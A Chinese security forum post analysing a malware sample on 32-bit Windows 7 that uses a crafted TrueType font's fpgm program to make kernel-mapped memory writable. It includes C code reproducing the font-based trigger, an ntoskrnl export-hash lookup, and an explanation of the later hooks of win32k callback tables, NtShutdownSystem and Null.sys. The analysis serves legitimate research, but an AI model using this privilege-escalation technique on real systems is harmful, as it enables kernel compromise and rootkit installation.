首页
社区
课程
招聘
[分享]
发表于: 2019-6-11 18:07 3062

[分享]

2019-6-11 18:07
3062
相关参考信息:
环境:win7 32
注意:由于经过多次调试,保存的数据有些地址可能有出入。
   遇到一个样本通过ttf文件中fpgm表来实现只读内存的属性修改。
  
int first_step(int nummy)
{
	WCHAR                LibFileName[] = L"Gdi32.dll",LibUser32[]=L"User32.dll";
	HMODULE              hModule = NULL,hLibModule=NULL;
	DWORD                ProcessId = 0;
	DWORD                target_addr = 0;

	HDC                  hdc = NULL;
	DWORD                NumFonts;
	HANDLE               fonts = INVALID_HANDLE_VALUE;
	LOGFONTW              LogFont;
	WCHAR                Source[] = L"Arial Outline";
	HFONT                hfont = NULL;
	HGDIOBJ              hgdiobj = NULL;
	INT                  lpint;
	SIZE                 lpsize;
	DWORD                temp = 0;

	hModule = LoadLibraryW(LibFileName);
	hLibModule = LoadLibraryW(LibUser32);
	ProcessId = GetCurrentProcessId();

	import_ttf_data();//导入ttf文件
	target_addr = locate_target_addr();//获取目标地址
	temp = (target_addr >> 0xc) << 2;//对地址进行处理,获得映射地址

	log(target_addr);
	memcpy((char*)ttf + 0x6a0, (DWORD*)target_addr, 0x4);//一个函数地址,这个参数好像在fpgm中没有用到
	//temp = 0x1000;
	memcpy((char*)ttf + 0x6a4, &temp, 0x4);//将地址右移动0xc位,再向左移动2位,不知道啥意思
	
	memcpy((char*)ttf + 0x6a8, &ProcessId, 0x4);//填入进程号
	//log(*(DWORD*)((char*)ttf + 0x6a0)); log(*(DWORD*)((char*)ttf + 0x6a4)); log(*(DWORD*)((char*)ttf + 0x6a8));
	//开始一顿操作,最后触发fpgm表中的代码执行
	NumFonts = 0;
	hdc=GetDC(NULL);
	if (hdc != NULL)
	{
		//log((DWORD)hdc);
		fonts=AddFontMemResourceEx(ttf, 0xe64, NULL, &NumFonts);
		if (fonts != INVALID_HANDLE_VALUE)
		{
			if (NumFonts == 1)//安装一个字体
			{
				memset(&LogFont, 0, sizeof(LogFont));
				LogFont.lfHeight=-MulDiv(7, GetDeviceCaps(hdc, LOGPIXELSY), 0x48);
				
				LogFont.lfWeight = 0x190;
				LogFont.lfOutPrecision = 7;
				LogFont.lfClipPrecision = 0xa0;
				LogFont.lfQuality = 4;
				wcsncpy_s(LogFont.lfFaceName, Source, 0xe);
				hfont=CreateFontIndirectW(&LogFont);
				if (hfont != NULL)
				{
					hgdiobj=SelectObject(hdc, (HGDIOBJ)hfont);
					if (hgdiobj == NULL)
					{
						MessageBox(NULL, "SelectObject hgdiobj", "1234", NULL);
						return 0;
					}

					lpsize.cx = 0;
					lpsize.cy = 0;
					if (TRUE == GetTextExtentExPointW(hdc, L"=+", 2, 0x14, NULL, &lpint, &lpsize))
					{
						SelectObject(hdc, hgdiobj);
						DeleteObject((HGDIOBJ)hfont);
					}
					else
					{
						//log(GetLastError());
						MessageBox(NULL, "GetTextExtentExPointW fails!", "123", 0);
					}
				}
				else
				{
					MessageBox(NULL, "CreateFontIndirectW fails", "123", 0);
				}
			}
			else
			{
				MessageBox(NULL, "NumFonts is wrong!", "123", 0);
			}
			RemoveFontMemResourceEx(fonts);
		}
		else
		{
			MessageBox(NULL, "AddFontMemResourceEx", "123", 0);
		}
	}
	else
	{
		MessageBox(NULL, "GetDC fails", "123", 0);
	}
	
	if (hdc != NULL)
		ReleaseDC(NULL, hdc);
	if (hModule != NULL)
		FreeLibrary(hModule);
	if (hLibModule != NULL)
		FreeLibrary(hLibModule);
	*(DWORD*)(target_addr + 0x20) = 0x12345678;
	//memcpy((DWORD*)(target_addr + 0x20), (DWORD*)(target_addr), 4);
	return 0;
}

DWORD import_ttf_data()//导入.ttf文件内容
{
	DWORD                NumberOfBytesRead = 0;
	HANDLE               hTtf = INVALID_HANDLE_VALUE;
	hTtf = CreateFileA("ttf.bin", GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, NULL);
	if (hTtf != INVALID_HANDLE_VALUE)
	{
		ReadFile(hTtf, ttf, 0xe64, &NumberOfBytesRead, NULL);
	}
	else
	{ 
		log(GetLastError());
		MessageBox(NULL, "CreateFileA fails", "notice", 0);
		return -23;
	}
	if (hTtf != INVALID_HANDLE_VALUE)
	{
		CloseHandle(hTtf);
	}
}

DWORD locate_target_addr()//简化版,返回目标地址
{
	HMODULE        hLibModule = NULL;
	DWORD          addr = 0;
	

	hLibModule = LoadLibraryA("user32.dll");
	if (hLibModule != NULL)
	{
		addr = (DWORD)GetProcAddress(hLibModule, "GetMenuCheckMarkDimensions");
                /*但是我们知道,在Win32k内核中,所有的内核窗口信息是全部被映射到用户模式的一块内存地址上的,通过         user32!gSharedInfo我们可以得到它的地址(是内核模式窗口信息列表的一个只读映射)----摘自网上*/
		addr = *(DWORD*)(addr + 2);//
		addr = *(DWORD*)addr;//_gpsi
		//*(DWORD*)(addr + 0x28) = 0x12345678;
		//
		log(*(DWORD*)addr); log(*(DWORD*)(addr + 4)); log(*(DWORD*)(addr + 8)); log(*(DWORD*)(addr + 0xc));
		log(*(DWORD*)(addr + 0x10)); log(*(DWORD*)(addr + 0x14)); log(*(DWORD*)(addr + 0x18)); log(*(DWORD*)(addr + 0x1c));
		log(*(DWORD*)(addr + 0x20)); log(*(DWORD*)(addr + 0x24)); log(*(DWORD*)(addr + 0x28)); log(*(DWORD*)(addr + 0x3c));
		FreeLibrary(hLibModule);
		return (addr + 0x8);
	}
}

void num()//这里直接暴力搜索,原文件程序是解析pe 文件
{
	HANDLE    file = INVALID_HANDLE_VALUE;
	char      nummy[0x10000], name[0x100];
	int       a = 0, b = 0, i = 0, length = 0, full_length = 0;
	DWORD      read = 0;
	file = CreateFileA("ntoskrnl.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	memset(nummy, 0, 0x10000); memset(name, 0, 0x100);
	if (file != INVALID_HANDLE_VALUE)
	{
		SetFilePointer(file, 0x303d85, NULL, FILE_BEGIN);
		if (TRUE == ReadFile(file, nummy, 0xf000, &read, NULL))
		{
			length = lstrlenA(nummy);
			while (length)
			{
				memset(name, 0, 0x80);
				lstrcpyA(name, nummy + full_length);
				//printf("%s\n", name);
				i = 0, a = 0, b = 0;
				do
				{
					a = b;
					a = a << 7;
					a = a - b;
					b = a;
					if (name[i] != 0)
						b = b + name[i];
					else
					{
						if (b == 0x4de040a || b == 0x3e1481df || b == 0xa4ac30f9 || b == 0xf9e70684)//匹配指纹
							//printf("0x%x-----------%s was found!\n", b, name);
						break;
					}
					i++;
				} while (1);
				length = lstrlenA(nummy + full_length);
				full_length += lstrlenA(nummy + full_length) + 1;
			}
		}
		CloseHandle(file);
	}
}

下面是fpgm表中的代码截图:
通过指纹匹配找到相关函数的地址,利用进程号找到进程的EPROCESS然后附加到该进程,修改pte所代表页面的属性为可读写(参考第一篇里pte结构)。
解释目标地址右移0xc位,左移2位的意义:
  参考第二篇文章中操作,可以对地址转换有个了解;
  再看文章三中的那个最长那个的评论大概就能知道了0xc0000000是什么。
(0xffffffff>>0xc=0xfffff   0xfffff<<0x2=0x3fffc约等于4M    从0xc0000000到0xc03fffff)

上面修改的内容是从内核中映射用户空间,结构为win32k!tagSERVERINFO,展开部分为
   0x0              dwSRVIFlags                 uint4b
   0x4              cHandleEntries               uint4b
   0x8              mpFnidPfn                     [32] ptr32        long      修改这里面的某个函数地址,相当于hook了
    (未完)
修改前后对比:934791c0变成2a0000
 

   现在假设hook了第a个函数,下面是触发改函数执行:
  
NtUserMessageCall第二个参数0x600>0x400所以走0x8d这个分支
   call dword ptr [eax+edi*4+8],eax相当于一个win32k!tagSERVERINFO结构体,8=前面两个4字节数长度,edi为数组中的索引,这里应该为前面假设的a.
  上面的hook是为了下一个hook,hook NtShutdownSystem,为什么hook   NtShutdownSystem ?因为只有在关机的时候才会调用它,避免被干扰
hook前后对比

  
直接从内核跳到用户空间,(头皮发麻)。当NtShutdownSystem被人为调用,直接就从内核跳到用户空间去执行,按照上面的截图是跳到0x2a0200。
然后,又去祸害Null.sys,hook它的IRP_MJ_DEVICE_FUNCTION
后面就可以和驱动交互了,开心。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-6-13 17:26 被fatcateatrat编辑 ,原因: 补充
上传的附件:
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 6124
活跃值: (4651)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
2
1L?
2019-6-11 23:33
0
雪    币: 6664
活跃值: (957)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
围观下
2019-6-12 07:11
0
游客
登录 | 注册 方可回帖
返回
//